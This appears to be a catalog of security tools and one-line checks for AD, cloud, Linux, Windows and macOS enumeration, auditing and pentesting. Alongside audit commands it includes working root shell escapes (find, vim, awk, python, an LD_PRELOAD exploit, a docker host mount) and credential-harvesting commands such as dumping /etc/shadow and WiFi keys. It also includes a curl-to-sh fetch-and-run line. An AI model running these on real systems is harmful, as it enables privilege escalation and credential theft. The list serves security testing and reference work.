Tools

Nestori Syynimaa's PowerShell toolkit for administering, auditing and (ab)using Azure AD/Entra ID and Office 365 — used defensively to check tenant configuration and hybrid-identity exposure.

Gathers a broad snapshot of an Active Directory environment (users, computers, GPOs, ACLs, trusts, password policy) into an Excel-formatted report for offline review.

./ADRecon.ps1 -Method LDAP -DomainController 10.10.10.5 -Credential corp\user

OWASP in-depth attack-surface mapping tool: DNS enumeration, subdomain discovery via dozens of passive sources, and network-mapping graph output.

amass enum -passive -d example.com -o subdomains.txt

Simple, fast cross-platform IP address and port scanner with a GUI — a quick way to inventory what is alive on a subnet without learning nmap syntax.

Layer-2 ARP-based host discovery for the local network segment — finds every device on the LAN, including ones that would not respond to an ICMP or TCP scan.

sudo arp-scan --localnet

Small Go tool that finds domains and subdomains related to a given domain from a handful of free sources — a lightweight complement to heavier enumerators.

assetfinder --subs-only example.com

Lightweight BLE scanner for quickly enumerating nearby devices and their advertised services/characteristics from the command line, without a full GATT client.

bleah -t 5 -v

Maps Active Directory (and Azure AD) trust relationships as a graph, using graph theory to reveal attack paths to Domain Admin that are invisible in a flat user/group listing.

bloodhound-python -u user -p pass -d domain.local -ns 10.10.10.10 -c All

Python re-implementation of the SharpHound collector for Linux-based operators, gathering the same AD graph data without needing a Windows box.

bloodhound-python -u user -p pass -ns 10.10.10.5 -d corp.local -c all

Bluetooth (Classic + BLE) device discovery service that logs and fingerprints everything it sees over time, aimed at long-running physical-security/asset-tracking style monitoring.

sudo blue_hydra

The interactive control shell shipped with Linux's BlueZ stack — scanning, pairing and GATT inspection without installing anything extra, and the first thing to reach for before pulling out dedicated BLE tooling.

bluetoothctl
[bluetooth]# scan on
[bluetooth]# devices
[bluetooth]# gatt.list-attributes <MAC>

Bluetooth reconnaissance framework covering Classic, LE and (some) mesh/Zigbee-adjacent radios in one CLI, aimed at building a fuller picture than a single-mode scanner.

bluing le scan

Enumerates and abuses Active Directory Certificate Services (AD CS) misconfigurations — the ESC1-ESC8 escalation paths that let a low-privileged user mint a Domain Admin certificate.

certipy find -u [email protected] -p pass -dc-ip 10.10.10.10 -vulnerable

Fast command-line triage of Windows Event Logs — runs Sigma rules and built-in detection logic across EVTX files to surface logons, lateral movement and other indicators without loading them into a SIEM first.

chainsaw hunt evtx_dir/ -s sigma_rules/ --mapping mappings/sigma-event-logs-all.yml

Scans a network for services still running their vendor-default credentials, using a large built-in database of default logins across routers, cameras, admin panels and more.

changeme 10.10.10.0/24

Dataset and API of continuously-crawled subdomain data for public bug-bounty-in-scope domains, maintained by ProjectDiscovery and queryable via their CLI.

chaos -d example.com -silent

When both registry values are set to 1, any user can install an MSI that runs as SYSTEM, a one-command privesc check.

reg query HKCU\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

A one-line check for the classic misconfiguration where any user can run an MSI as SYSTEM — if both registry values come back 1, it is exploitable.

reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

sudo -l lists exactly what the current account can run as another user, often the fastest path to root on a CTF or pentest box.

sudo -l

whoami /groups reveals integrity level and any high-value group membership picked up through nested group assignment, easy to miss otherwise.

whoami /groups

A quick compliance and incident-response check; an unencrypted disk changes what is recoverable from a lost or seized machine.

fdesetup status

DefaultUserName and DefaultPassword under Winlogon are stored in cleartext whenever autologon is configured, a one-command find.

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword

A cron job invoking a world-writable script, or one located in a writable directory, is one of the most common realistic Linux privesc paths.

cat /etc/crontab /etc/cron.d/* 2>/dev/null
ls -la /etc/cron.daily /etc/cron.hourly /etc/cron.weekly

An unexpected bind mount or overlay filesystem can be a container escape artifact or a hidden persistence location.

mount | column -t
findmnt

An NFS export with no_root_squash lets a remote root user write files as root on the export, including a SUID binary to escalate through locally.

cat /etc/exports 2>/dev/null | grep -v '^#' | grep no_root_squash

A one-line sanity check that should always return nothing — if it returns something, that box has a serious permissions bug worth reporting.

ls -la /etc/shadow /etc/gshadow 2>/dev/null

A quick permission and version check for CVE-2021-4034, a near-universal local root affecting most 2021-and-earlier polkit installs.

ls -l $(which pkexec)
pkexec --version

A misconfigured permission on /etc/shadow hands over every password hash on the box in a single command.

ls -la /etc/shadow
cat /etc/shadow 2>/dev/null

sudo has had several serious version-specific privesc bugs, including CVE-2019-14287 and CVE-2021-3156; the version string is the first thing to check.

sudo -V | head -n1

The kernel and distro version is the fastest first lookup against a local database of known privesc CVEs before trying anything noisier.

uname -a
cat /etc/os-release

Deprecated since OS X 10.10 but still executed if present, and still checked by both malware and thorough incident responders.

ls -la /Library/StartupItems /System/Library/StartupItems 2>/dev/null

Login and logout hooks are a deprecated but still-functional per-user persistence mechanism configured under com.apple.loginwindow.

defaults read com.apple.loginwindow LoginHook 2>/dev/null
defaults read com.apple.loginwindow LogoutHook 2>/dev/null

A writable directory earlier in $PATH than the real binary lets a planted script hijack any command a privileged user runs by name.

echo $PATH | tr ':' '\n' | xargs -I{} sh -c 'test -w "{}" && echo "writable: {}"'

/etc/periodic is an older but still-functional persistence point inherited from macOS BSD lineage, checked less often than LaunchAgents.

ls -la /etc/periodic/daily /etc/periodic/weekly /etc/periodic/monthly

SIP being disabled removes a large set of macOS built-in tamper protections, and legitimate reasons to disable it outside development are rare.

csrutil status

A unit whose ExecStart binary sits in a directory the current user can write to is a straightforward path to root on the next service restart.

systemctl list-unit-files --type=service --state=enabled | awk '{print $1}' | xargs -I{} sh -c 'systemctl cat {} 2>/dev/null | grep ExecStart'

capsh shows exactly which capabilities the current shell holds, which decides whether a capability-based privesc path is even viable.

capsh --print

Confirms whether the built-in packet filter is even enabled before drawing any conclusion from an absence of blocked-connection logs.

/usr/libexec/ApplicationFirewall/socketfilterfw --getglobalstate

cron still works on macOS even though launchd is preferred, and it is checked less often, exactly why it is occasionally used for persistence.

crontab -l

A NOPASSWD entry or an overly broad command wildcard in /etc/sudoers is exactly as dangerous on macOS as on any other Unix.

sudo cat /etc/sudoers /etc/sudoers.d/*

An exclusion path readable by a low-privileged user shows exactly where to drop a payload Defender will never scan.

Get-MpPreference | Select-Object ExclusionPath, ExclusionExtension, ExclusionProcess

Multi-cloud OSINT tool that enumerates public storage buckets, apps and resources across AWS, Azure and GCP for a given keyword or company name.

python3 cloud_enum.py -k example

Brute-forces likely bucket/storage-account names across AWS, Azure, GCP, DigitalOcean and other providers to find exposed cloud storage tied to a target company or brand.

cloudbrute -d example -k "example,exampleco" -o output.txt

Bishop Fox's situational-awareness tool for AWS, Azure and GCP — quickly maps what an account/role can do and where sensitive resources sit, used by both attackers and defenders auditing exposure.

cloudfox aws all-checks

A quick privesc check: scheduled jobs run as another (often more privileged) user are a common escalation path if their script or binary is writable by you.

for u in $(cut -f1 -d: /etc/passwd); do echo "== $u =="; sudo -u "$u" crontab -l 2>/dev/null; done

Enumerates a company's LinkedIn employees via search-engine scraping (no LinkedIn login needed) and outputs plausible email addresses from the naming pattern.

python3 crosslinked.py -f "{first}.{last}@example.com" example.com

Certificate transparency search engine indexing CT logs for domain and subdomain discovery, with a faster/more filterable UI than crt.sh for large result sets.

A SANS PowerShell module that hunts Windows Event Logs for signs of attack — obfuscated PowerShell, suspicious account use, service creation — the kind of manual EVTX review a threat hunter would otherwise do by hand.

.\DeepBlue.ps1 -log security

A classic Perl DNS enumeration tool — zone transfers, MX/NS/A record lookups, Google scraping for subdomains and brute-force, bundled into one script that predates most of the newer Go-based DNS tools.

dnsenum example.com

A Python DNS enumeration and reconnaissance tool covering standard record enumeration, zone transfers, SRV record checks, reverse lookups over a range and Google/Bing subdomain scraping in one tool.

dnsrecon -d example.com -t std,brt

A fast, multi-purpose DNS toolkit from ProjectDiscovery — bulk resolution, wildcard filtering and record-type querying built for piping into and out of the rest of that project's recon tool chain.

subfinder -d example.com | dnsx -a -resp

No extra tooling required: net.exe against a domain controller lists users and privileged groups using only built-in binaries.

net user /domain
net group "Domain Admins" /domain

Android security assessment framework built around an in-app agent — enumerate and interact with exported activities, content providers, services and broadcast receivers from a console.

drozer console connect

Finds forgotten or stale IAM access keys across an AWS account — a common cloud hygiene gap and a fast win during a cloud security review.

aws iam generate-credential-report
aws iam get-credential-report --query 'Content' --output text | base64 -d

The SecurityCenter2 namespace lists every registered antivirus product, which shapes what evasion, if any, is even relevant.

Get-WmiObject -Namespace root\SecurityCenter2 -Class AntiVirusProduct | Select-Object displayName, productState

A binary with cap_setuid or cap_sys_admin set as a file capability can escalate privileges exactly like a SUID bit, without the bit itself being set.

getcap -r / 2>/dev/null

Get-ScheduledTask surfaces the same data as schtasks /query but is easier to filter and pipe into further checks.

Get-ScheduledTask | Where-Object { $_.State -ne 'Disabled' } | Select-Object TaskName, TaskPath, State

A service running as LocalSystem with a weak ACL or a hijackable binary path is the bread and butter of Windows local privesc.

Get-WmiObject win32_service | Select-Object Name, StartName, PathName, State | Sort-Object StartName

LaunchDaemons run as root at boot regardless of login, so an unfamiliar one here is a higher-severity find than a user LaunchAgent.

ls -la /Library/LaunchDaemons
plutil -p /Library/LaunchDaemons/*.plist

A service path with a space and no quotes lets Windows try each intermediate directory in turn; dropping a binary in the right one hijacks the service.

wmic service get name,pathname,startmode | findstr /i auto | findstr /i /v "C:\Windows\" | findstr /i /v """"

Per-user LaunchAgents run at login without needing root, making them the most common macOS persistence location for malware and legitimate tools alike.

ls -la ~/Library/LaunchAgents
plutil -p ~/Library/LaunchAgents/*.plist

A DNS reconnaissance tool that locates non-contiguous IP space and hostnames against a target domain — zone transfer attempts, wordlist-based subdomain brute-forcing and reverse lookups to map a domain's DNS footprint.

fierce --domain example.com

ConsoleHost_history.txt often has the last few commands an admin ran, credentials and all, worth checking before assuming a box is a dead end.

Get-Content (Get-PSReadlineOption).HistorySavePath

A python or perl interpreter carrying cap_setuid, whether via file capability or SUID, is functionally a root shell one command away.

getcap -r / 2>/dev/null | grep -Ei 'python|perl|ruby'

A one-liner CTF/OSCP staple: lists every SUID-bit binary on the filesystem, which you then cross-reference against GTFOBins for a breakout primitive.

find / -perm -4000 -type f 2>/dev/null

Orphaned files, from a deleted user or a broken container mount, sometimes carry permissions from a since-removed privileged account.

find / -xdev \( -nouser -o -nogroup \) 2>/dev/null

A dotfile dropped outside the usual home-directory locations is a common, low-effort way malware hides its working directory.

find / -xdev -name ".*" -not -path "/home/*/.*" -not -path "/proc/*" 2>/dev/null

A container started with --privileged shares the full capability set of the host kernel, so code execution inside it is effectively code execution on the host.

docker ps --format '{{.ID}} {{.Names}}' | xargs -I{} docker inspect {} --format '{{.Name}}: Privileged={{.HostConfig.Privileged}}'

Cross-references bucket ACLs and policies for public access — the single most common AWS misconfiguration behind accidental data exposure.

aws s3api list-buckets --query 'Buckets[].Name' --output text | \
tr '\t' '\n' | while read b; do
  aws s3api get-bucket-policy-status --bucket "$b" --query 'PolicyStatus.IsPublic' --output text 2>/dev/null | grep -q true && echo "PUBLIC: $b"
done

A world-readable id_rsa under any home directory is often worth more than any local exploit chain on the box.

find / -xdev \( -name 'id_rsa*' -o -name '*.pem' \) 2>/dev/null | xargs -r ls -la

Same idea as SUID but for group-inherited execution, checked less often and just as exploitable when misconfigured.

find / -perm -2000 -type f 2>/dev/null

The single most common first step in Linux privesc enumeration; any SUID binary outside a known-safe list is worth checking against GTFOBins.

find / -perm -4000 -type f 2>/dev/null

A world-writable file owned by root, or referenced by a privileged process, is a common and easy escalation vector.

find / -xdev -type f -perm -0002 2>/dev/null

A file that root owns but anyone can write to is often the difference between a foothold and full compromise — this finds every one on the box.

find / -writable -user root -type f 2>/dev/null | grep -v "^/proc"

Fast Rust subdomain enumerator that queries certificate-transparency logs and multiple passive-DNS APIs, with an optional monitoring mode for new subdomains.

findomain -t example.com -o

Built-in findstr recurses a directory tree grepping for a string — handy for hunting "password" in config files without installing anything.

findstr /si password *.txt *.config *.ini *.xml

An open-source management layer for osquery — schedules queries, manages the agent fleet and turns raw osquery output into a usable device-inventory and detection tool at organisation scale.

Parallel ping utility — sweeps a whole subnet for live hosts far faster than scripting individual ping calls, a first step in any network inventory.

fping -a -g 10.10.10.0/24 2>/dev/null

A C# host-survey tool that checks a huge list of security-relevant settings and artefacts in one pass — AV/EDR presence, patch level, AppLocker, credential-storage locations and more.

.\Seatbelt.exe -group=all

The findstr equivalent of grep -r, useful on a box where the PowerShell execution policy blocks anything more elaborate.

findstr /si password *.txt *.ini *.config *.xml

A broad but fast sweep of common config locations for embedded passwords, usually the highest-value five minutes on a freshly landed box.

grep -rliE 'password\s*=' /etc /var/www /opt 2>/dev/null

Pull failed-logon events straight from the command line for a quick brute-force check, without opening Event Viewer.

wevtutil qe Security /q:"*[System[(EventID=4625)]]" /f:text /c:20

Finds exploitable settings inside Active Directory Group Policy Objects — the GPO-focused counterpart to BloodHound's ACL/trust focus.

Grouper2.exe -f findings.html

Membership in the docker group is root-equivalent: mounting the host filesystem into a throwaway container gives full read and write access to it.

docker run -v /:/mnt --rm -it alpine chroot /mnt sh

find -exec spawns an arbitrary command, so a SUID or sudo-permitted find is a direct root shell.

find . -exec /bin/sh -p \; -quit

vim runs a shell command with :! at its own privilege level, making a SUID or sudo-permitted vim a straightforward escalation.

vim -c ':!/bin/sh' /dev/null

awk system() executes an arbitrary shell command, enough on its own if awk is SUID or sudo-permitted.

awk 'BEGIN {system("/bin/sh")}'

less shells out through the same pager escape as vim and more, and ends up sudo-permitted surprisingly often for "read-only" log viewing.

less /etc/profile
# inside the pager:
!/bin/sh

perl exec() is another classic shell escape, common because perl ships on nearly every Unix-like system by default.

perl -e 'exec "/bin/sh";'

A one-liner that drops into an interactive shell via os.system, the same technique behind most python-based privesc chains.

python3 -c 'import os; os.system("/bin/sh")'

When sudoers keeps LD_PRELOAD in env_keep, a custom shared object constructor runs as root the moment any sudo-permitted command executes.

echo 'void _init(){setresuid(0,0,0);system("/bin/sh -p");}' > x.c
gcc -fPIC -shared -o x.so x.c -nostartfiles
sudo LD_PRELOAD=./x.so <any allowed command>

systemctl status pipes long output through less by default, so a sudo-permitted systemctl inherits the same shell escape as less.

sudo systemctl status trap
# inside the pager:
!/bin/sh

A little-known tar feature runs an arbitrary checkpoint action, which becomes a root shell when tar is SUID or sudo-permitted.

tar cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh

A Rust-based Windows Event Log fast-forensics timeline generator, built by Yamato Security — evaluates Sigma-compatible rules across EVTX files and outputs a scored, sortable timeline for triage.

hayabusa csv-timeline -d evtx_dir/ -o timeline.csv

Fast, multi-purpose HTTP toolkit for probing a large list of hosts/subdomains — status codes, titles, tech fingerprints and TLS data — as a recon pipeline stage.

cat subs.txt | httpx -title -tech-detect -status-code

Quickly bruteforces and enumerates valid Active Directory usernames via Kerberos pre-authentication — much quieter than an LDAP bind sweep since failed guesses barely touch the event log.

kerbrute userenum -d domain.local --dc 10.10.10.10 users.txt

Hunts for security weaknesses in Kubernetes clusters — from inside a pod or from outside the network, probing the API server, kubelet and common misconfigurations.

kube-hunter --remote your-cluster-ip

Enumerates which computer accounts have LAPS-managed local admin passwords readable by the current user and dumps them over LDAP.

python3 laps.py -u user -p pass -d corp.local

Dumps an Active Directory domain over LDAP into browsable HTML/JSON/CSV reports of users, groups, computers, policies and trusts.

ldapdomaindump -u corp.local\\user -p pass 10.10.10.5

Auto-discovering network monitoring platform — SNMP-based inventory and alerting across switches, routers, servers and more, a free alternative to commercial NMS suites.

Login items are a user-visible persistence mechanism distinct from LaunchAgents, and osascript can enumerate them without opening System Settings.

osascript -e 'tell application "System Events" to get the name of every login item'

Attacker C2 frameworks and lateral-movement tools frequently create distinctively named pipes; a mismatch against a known baseline is a fast lead.

[System.IO.Directory]::GetFiles("\.\pipe\")

launchctl list shows every job launchd currently manages, including a job with no on-disk plist left to find.

launchctl list | grep -v com.apple

Confirms what the current account itself has scheduled, useful both for enumeration and for spotting attacker persistence.

crontab -l

The first command in almost any Windows privesc checklist: a flag like SeImpersonatePrivilege or SeBackupPrivilege points straight at a known escalation path.

whoami /priv

Confirms what a process is actually talking to right now, the fastest way to spot a live C2 beacon or an exfil channel.

ss -tnp state established

A quick sweep for a custom allow-rule that could be an attacker tunnel, or an admin forgotten backdoor port.

netsh advfirewall firewall show rule name=all dir=in | findstr /i "Rule Enabled Action LocalPort"

A malicious or unexpected MDM configuration profile can silently redirect DNS, install a root CA, or restrict settings; this lists everything currently installed.

profiles list -verbose

A rogue Safari extension is a common, low-friction way to persist browser-based data theft; this enumerates what is installed without opening Safari.

ls -la ~/Library/Safari/AppExtensions ~/Library/Containers/com.apple.Safari/Data/Library/Safari/AppExtensions 2>/dev/null

Faster and quieter than Get-WmiObject Win32_Product, which triggers an MSI repair scan on every single call.

Get-ItemProperty HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName, DisplayVersion, Publisher

Lists Keychain item service and account names, not the secrets themselves without further prompts, a fast way to see what credentials an account has stored.

security dump-keychain -d login.keychain | grep -A1 "0x00000007"

Shows every listening TCP/UDP socket together with the PID that owns it, the fastest way to see what a box is actually exposing.

ss -tulpn

Third-party kexts are rare on modern macOS since most vendors moved to system extensions, which makes any unfamiliar one worth investigating immediately.

kextstat | grep -v com.apple

Confirms exactly who lands in the high-value bucket before spending time on a privesc chain that was not even necessary.

Get-LocalGroupMember -Group "Administrators"

dscl reads the same account database System Settings does, without needing the GUI, useful for spotting a hidden or newly created account.

dscl . list /Users | grep -v '^_'

lsof is available on macOS just as on Linux, and remains the most direct way to tie a listening or connected socket back to its process.

lsof -i -P | grep -i listen

Ties every running process back to the account it runs as, useful for spotting a SYSTEM service worth targeting or a session already compromised.

Get-WmiObject Win32_Process | Select-Object Name, ProcessId, @{n='Owner';e={$_.GetOwner().User}}

A task run by SYSTEM that points at a user-writable script or binary is a common, realistic local privesc; this dumps every task run-as and command.

schtasks /query /fo LIST /v | findstr /i "TaskName Run As User Task To Run"

A password passed on the command line, visible only with the ww flag, is a recurring and embarrassingly simple credential leak.

ps auxww

Finds services whose executable path contains a space and no quotes — a classic Windows privilege-escalation vector if you can drop a file into one of the ambiguous path segments.

Get-WmiObject win32_service | Where {$_.PathName -notlike 'C:\Windows*' -and $_.PathName -notlike '"*'} | Select Name,PathName

A shadow copy can still hold an old SAM, SYSTEM or NTDS.dit, letting credentials be extracted without touching the live locked file.

vssadmin list shadows

PowerShell module that scans Active Directory Certificate Services (AD CS) for the common ESC1-ESC8-style misconfigurations, and can remediate several of them automatically.

Invoke-Locksmith -Mode 2

The Windows equivalent of ss -tulpn, pairs every listening socket with a PID for quick triage of what a box is actually exposing.

netstat -ano | findstr LISTENING

A high-performance bulk DNS resolver — designed to resolve millions of domain names against a list of resolvers in a fraction of the time a per-query tool would take, the workhorse underneath most large-scale DNS enumeration tooling.

massdns -r resolvers.txt -t A -o S -w results.txt domains.txt

NetSPI's PowerShell toolkit for Azure security assessment — enumerates storage accounts, key vaults, automation accounts and other Azure resources for exposed secrets and misconfigurations.

Open-source network management and discovery tool — maps switches, routers and connected devices via SNMP/CDP/LLDP for network asset inventory and port-tracing.

An active/passive ARP reconnaissance tool for discovering hosts on a local network without relying on DHCP — useful on networks with no DHCP server or where a full port scan would be noisier than necessary.

netdiscover -r 192.168.1.0/24

Actively-maintained fork/successor of CrackMapExec — swiss-army-knife for AD network protocols: authentication spraying, command execution, hash dumping and share enumeration over SMB/WinRM/LDAP/MSSQL/RDP/SSH.

nxc smb 10.10.10.0/24 -u users.txt -p pass --shares

The successor to CrackMapExec — a swiss-army-knife for testing large Active Directory networks: credential spraying, command execution, share enumeration, all across a whole subnet at once.

nxc smb 10.10.10.0/24 -u user -p pass --shares

Nordic Semiconductor's free Android/iOS app for scanning BLE advertisements and browsing/writing GATT services and characteristics by hand — the everyday tool for poking at a smart-device's Bluetooth surface.

Username enumeration and password spraying against Office 365/Azure AD, supporting several login endpoints so it keeps working when Microsoft tweaks one response format.

python3 o365spray.py --validate -d corp.com

Automated reconnaissance framework that chains subdomain enumeration, port scanning, screenshotting and vulnerability scanning into one workflow for large-scope bug-bounty recon.

osmedeus scan -t example.com

Facebook/Meta's endpoint agent that exposes an operating system's state (processes, users, open sockets, installed packages, scheduled tasks) as SQL tables — 'ask the OS a question' via SQL instead of a bespoke agent API.

osqueryi "SELECT pid, name, path FROM processes WHERE on_disk = 0;"

In-depth attack-surface mapping and asset discovery — combines passive DNS/certificate-transparency sources with active DNS enumeration to build a graph of an organisation's external footprint, used defensively to find shadow-IT assets before an attacker does.

amass enum -d example.com

Passive OS and application fingerprinting from raw traffic characteristics (TCP/IP stack quirks) alone — identifies what is talking on the wire without sending a single probe packet.

p0f -i eth0

Passive network asset mapping tool — builds an inventory of hosts, services and vulnerabilities purely by watching traffic, no active scanning that could disrupt fragile OT/ICS devices.

passer -i eth0

The standard privilege-escalation enumeration scripts for CTF and OSCP-style practice — linPEAS for Linux, winPEAS for Windows — colour-coded output that flags the most promising misconfigurations first.

curl -sL https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh

Scores an Active Directory forest against common misconfiguration and attack-path categories, producing a risk report used by both auditors and red teamers scoping an AD engagement.

PingCastle.exe --healthcheck

NCC Group's tool for graphing AWS IAM — identifies privilege escalation paths between IAM principals so defenders can find and fix them before an attacker does.

pmapper graph create\npmapper analysis

netsh (built into every Windows install) will export every remembered WiFi profile with its cleartext key in one loop — a fast post-compromise wireless-credential grab.

netsh wlan show profiles | ForEach-Object { if ($_ -match "All User Profile\s*:\s(.+)") { netsh wlan show profile name="$($matches[1])" key=clear } }

PowerShell toolkit for discovering and attacking Microsoft SQL Server — instance enumeration, weak login brute-forcing, and abusing linked servers for lateral movement.

Get-SQLInstanceDomain | Get-SQLServerLinkCrawl

A PowerShell library for Active Directory situational awareness — domain trusts, group memberships, ACLs and GPOs — that predates BloodHound and still turns up in a lot of AD tradecraft.

Get-DomainUser -SPN | Select SamAccountName,ServicePrincipalName

PowerShell (PowerView, from PowerSploit) and C# (SharpView) tooling for interactively enumerating AD users, groups, ACLs and trusts from a compromised session.

Get-DomainUser -SPN | Select SamAccountName,ServicePrincipalName

Semperis' free Active Directory and Entra ID security assessment tool — checks for dozens of known attack paths and misconfigurations, scored and prioritised for remediation.

A ready-made osquery query for the classic Windows Run/RunOnce persistence locations — paste it into osqueryi or a scheduled pack.

osqueryi "SELECT * FROM registry WHERE path LIKE 'HKEY_USERS\\%\\Software\\Microsoft\\Windows\\CurrentVersion\\Run%';"

A fast triage check for CTF/pentest boxes — cgroup contents and the presence of .dockerenv are the two most reliable tells.

cat /proc/1/cgroup 2>/dev/null; ls -la /.dockerenv 2>/dev/null

One-liner inventory of local accounts, expiry settings and last logon for a fast privesc and lateral-movement picture.

Get-LocalUser | Select-Object Name, Enabled, PasswordExpires, LastLogon

A process environment, including a credential passed via env rather than argv, is readable through procfs by the owning user or root.

for p in /proc/[0-9]*; do echo "== $p =="; strings $p/environ 2>/dev/null | grep -iE 'pass|key|token'; done

Automated recon shell script that wraps subfinder, httpx, nuclei and many other tools into one pipeline for full domain reconnaissance ahead of a pentest or bug-bounty hunt.

./reconftw.sh -d example.com -r

Framework for exploring and auditing Azure AD (Entra ID) — dumps the full directory into a local database, then browses/queries it offline for defensive review or misconfiguration hunting.

roadrecon gather\nroadrecon gui

Scans for open/misconfigured Amazon S3 buckets given a list of bucket-name candidates, reporting existence and public read/write access.

s3scanner scan --bucket-file bucket-names.txt

A fast sweep for password manager databases, saved RDP sessions and private keys, which are usually worth more than any exploit.

Get-ChildItem C:\Users -Include *.kdbx,*.rdp,*.ppk,*.pem -Recurse -ErrorAction SilentlyContinue

Shell scripts ignore the SUID bit on Linux, but finding one still flags a misconfigured wrapper worth investigating for a symlink or race-condition attack.

find / -xdev -perm -4000 -exec file {} \; 2>/dev/null | grep -i script

Bash and zsh history commonly retain a plaintext password typed into a curl or mysql invocation months earlier.

grep -riE 'pass|secret|token|key' ~/.*history 2>/dev/null

Config files, scripts and old backups routinely have a plaintext password embedded; this sweeps common extensions in one pass.

Get-ChildItem C:\ -Include *.config,*.xml,*.txt,*.ini -Recurse -ErrorAction SilentlyContinue | Select-String -Pattern 'password' -List

mdfind queries the Spotlight index directly, often far faster than a raw find across an entire disk.

mdfind -name "id_rsa"

GhostPack C# host-survey tool — dozens of checks (AV, patches, tokens, AppLocker, WSUS, etc) run in one pass to build a picture of a landed Windows host.

Seatbelt.exe -group=all

The C# data-collector for BloodHound — run on or against a domain-joined host to gather the sessions, ACLs and group data BloodHound turns into an attack-path graph.

.\SharpHound.exe -c All

Crawls every SMB share a compromised user can reach and greps for credentials, config secrets and other juicy files, ranking hits by how interesting they look.

Snaffler.exe -d corp.local -o snaffler.log

netstat is deprecated on most modern distros; ss is the built-in replacement for a quick "what is this box listening on" check.

ss -tulnp

wmic process call create starts a process with no visible console window, and works against a remote host with /node.

wmic process call create "cmd.exe /c whoami > C:\Windows\Temp\out.txt"

ProjectDiscovery's fast passive subdomain enumeration tool, pulling from dozens of public sources and APIs; built to pipe cleanly into the rest of their toolchain.

subfinder -d example.com -all -o subs.txt

The very first command in any Linux privesc checklist: lists every command the current user is allowed to sudo, which is the input GTFOBins entries actually key off.

sudo -l

GTFOBins-style interactive cheat sheet for offensive Windows/Active Directory commands (PowerShell, WMI, native binaries) covering recon through lateral movement.

Identifies and fingerprints which web application firewall (if any) is protecting a target site, based on response behaviour to a set of probes.

wafw00f https://example.com

CLI website fingerprinting tool with 1800+ plugins identifying CMS, JS libraries, web servers and embedded devices from HTTP responses.

whatweb -a 3 https://example.com

A black-box WordPress security scanner — enumerates plugins, themes and users, and checks versions against a maintained vulnerability database.

wpscan --url https://target.tld --enumerate vp,vt,u